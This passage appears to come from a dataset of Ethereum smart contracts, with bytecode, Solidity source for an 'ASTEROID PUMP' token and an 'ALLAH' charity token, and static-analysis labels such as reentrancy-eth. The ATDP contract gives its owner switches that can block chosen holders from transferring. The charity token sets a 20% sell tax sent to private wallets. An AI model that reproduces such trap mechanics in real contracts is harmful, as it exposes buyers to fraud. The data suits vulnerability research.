d5b84359350610a6060208601610964565b93969395505050506040820135916060013590565b600080600080600060608688031215610a8c578081fd5b85359450602086013567ffffffffffffffff80821115610aaa578283fd5b610ab689838a01610980565b90965094506040880135915080821115610ace578283fd5b50610adb88828901610980565b969995985093965092949392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610b3457610b34610baa565b500190565b600082610b5457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b7357610b73610baa565b500290565b600082821015610b8a57610b8a610baa565b500390565b6000600019821415610ba357610ba3610baa565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122018efc796785472c6376a71720162df4c946a543f5a705d1b2c411bc073aa471364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
433
0xa5c21a8bbab34c5b72f1c2d910d4e7b316d7a6c5
pragma solidity ^0.6.0; /* */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ATDP is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private whitelist; uint256 private _totalSupply = 500 ether; string private _name = "ASTEROID PUMP"; string private _symbol = "ATDP"; uint8 private _decimals = 18; address private __owner; bool public beginning = true; bool public stopBots = true; constructor () public { __owner = msg.sender; _balances[__owner] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function multiWhitelistAdd(address[] memory addresses) public { if (msg.sender != __owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { whitelistAdd(addresses[i]); } } function multiWhitelistRemove(address[] memory addresses) public { if (msg.sender != __owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { whitelistRemove(addresses[i]); } } function whitelistAdd(address a) public { if (msg.sender != __owner) { revert(); } whitelist[a] = true; } function whitelistRemove(address a) public { if (msg.sender != __owner) { revert(); } whitelist[a] = false; } function isInWhitelist(address a) internal view returns (bool) { return whitelist[a]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function multiTransfer(address[] memory addresses, uint256 amount) public { for (uint256 i = 0; i < addresses.length; i++) { transfer(addresses[i], amount); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function disable() public { if (msg.sender != __owner) { revert(); } stopBots = true; } function enable() public { if (msg.sender != __owner) { revert(); } stopBots = false; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (beginning) { if (isInWhitelist(sender)) { revert(); } } if (stopBots) { if (amount > 5 ether && sender != __owner) { revert('stop the bots!'); } } uint256 tokensToBurn = amount.div(10); uint256 tokensToTransfer = amount.sub(tokensToBurn); _beforeTokenTransfer(sender, recipient, amount); _burn(sender, tokensToBurn); _balances[sender] = _balances[sender].sub(tokensToTransfer, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(tokensToTransfer); emit Transfer(sender, recipient, tokensToTransfer); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function beginPresale() public { if (__owner != msg.sender) { revert(); } beginning = true; } function stopPresale() public { if (__owner != msg.sender) { revert(); } beginning = false; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063524fa7b9116100b8578063a457c2d71161007c578063a457c2d7146106ef578063a9059cbb14610755578063a932ed0d146107bb578063bc13d1e7146107ff578063c4066d4214610809578063dd62ed3e1461082b57610142565b8063524fa7b91461050457806370a082311461054857806395d89b41146105a0578063a16a317914610623578063a3907d71146106e557610142565b806323b872dd1161010a57806323b872dd146103105780632f2770db14610396578063313ce567146103a057806339509351146103c457806344043b821461042a5780634a797b47146104e257610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd146102305780631ad2ad1a1461024e5780631f059ab814610258575b600080fd5b61014f6108a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610945565b604051808215151515815260200191505060405180910390f35b61023861095c565b6040518082815260200191505060405180910390f35b610256610966565b005b61030e6004803603602081101561026e57600080fd5b810190808035906020019064010000000081111561028b57600080fd5b82018360208201111561029d57600080fd5b803590602001918460208302840111640100000000831117156102bf57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506109dd565b005b61037c6004803603606081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a73565b604051808215151515815260200191505060405180910390f35b61039e610b3e565b005b6103a8610bb5565b604051808260ff1660ff16815260200191505060405180910390f35b610410600480360360408110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcc565b604051808215151515815260200191505060405180910390f35b6104e06004803603602081101561044057600080fd5b810190808035906020019064010000000081111561045d57600080fd5b82018360208201111561046f57600080fd5b8035906020019184602083028401116401000000008311171561049157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610c71565b005b6104ea610d07565b604051808215151515815260200191505060405180910390f35b6105466004803603602081101561051a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d1a565b005b61058a6004803603602081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dcf565b6040518082815260200191505060405180910390f35b6105a8610e17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e85780820151818401526020810190506105cd565b50505050905090810190601f1680156106155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e36004803603604081101561063957600080fd5b810190808035906020019064010000000081111561065657600080fd5b82018360208201111561066857600080fd5b8035906020019184602083028401116401000000008311171561068a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610eb9565b005b6106ed610ef8565b005b61073b6004803603604081101561070557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6f565b604051808215151515815260200191505060405180910390f35b6107a16004803603604081101561076b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102e565b604051808215151515815260200191505060405180910390f35b6107fd600480360360208110156107d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611045565b005b6108076110fa565b005b610811611171565b604051808215151515815260200191505060405180910390f35b61088d6004803603604081101561084157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611184565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093b5780601f106109105761010080835404028352916020019161093b565b820191906000526020600020905b81548152906001019060200180831161091e57829003601f168201915b5050505050905090565b600061095233848461120b565b6001905092915050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c057600080fd5b6000600660156101000a81548160ff021916908315150217905550565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3757600080fd5b60008090505b8151811015610a6f57610a62828281518110610a5557fe5b6020026020010151611045565b8080600101915050610a3d565b5050565b6000610a80848484611402565b610b338433610b2e85604051806060016040528060288152602001611d6460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118159092919063ffffffff16565b61120b565b600190509392505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9857600080fd5b6001600660166101000a81548160ff021916908315150217905550565b6000600660009054906101000a900460ff16905090565b6000610c673384610c6285600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d590919063ffffffff16565b61120b565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ccb57600080fd5b60008090505b8151811015610d0357610cf6828281518110610ce957fe5b6020026020010151610d1a565b8080600101915050610cd1565b5050565b600660159054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eaf5780601f10610e8457610100808354040283529160200191610eaf565b820191906000526020600020905b815481529060010190602001808311610e9257829003601f168201915b5050505050905090565b60008090505b8251811015610ef357610ee5838281518110610ed757fe5b60200260200101518361102e565b508080600101915050610ebf565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5257600080fd5b6000600660166101000a81548160ff021916908315150217905550565b6000611024338461101f85604051806060016040528060258152602001611df660259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118159092919063ffffffff16565b61120b565b6001905092915050565b600061103b338484611402565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109f57600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115457600080fd5b6001600660156101000a81548160ff021916908315150217905550565b600660169054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611dd26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611317576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d1c6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611488576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611dad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611cd76023913960400191505060405180910390fd5b600660159054906101000a900460ff16156115375761152c8361195d565b1561153657600080fd5b5b600660169054906101000a900460ff161561162557674563918244f40000811180156115b15750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611624576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f73746f702074686520626f74732100000000000000000000000000000000000081525060200191505060405180910390fd5b5b600061163b600a836119b390919063ffffffff16565b9050600061165282846119fd90919063ffffffff16565b905061165f858585611a47565b6116698583611a4c565b6116d481604051806060016040528060268152602001611d3e602691396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118159092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611767816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b60008383111582906118c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561188757808201518184015260208101905061186c565b50505050905090810190601f1680156118b45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006119f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c10565b905092915050565b6000611a3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611815565b905092915050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d8c6021913960400191505060405180910390fd5b611ade82600083611a47565b611b4981604051806060016040528060228152602001611cfa602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118159092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ba0816003546119fd90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290611cbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c81578082015181840152602081019050611c66565b50505050905090810190601f168015611cae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cc857fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bc4854d409c4aefee2310bff5d09584250c115a74de3a6105e679fe4e0f93eb164736f6c63430006000033
{"success": true, "error": null, "results": {}}
434
0xdab05754ba48331fd3e414c80ac906dc0d699346
/** Charity token in celebration of Ramadan donating to Muslim charities in need https://t.me/allahtoken */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AllahToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ALLAH";// string private constant _symbol = "ALLAH";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 0;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 20;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x2051Dda3BB6eDC1AB2192678d3b2A4446B60b2B0);// address payable private _marketingAddress = payable(0x31690BCF8f8bA6ff7529174FD235Bb540e443061);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; // uint256 public _maxWalletSize = 50000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = 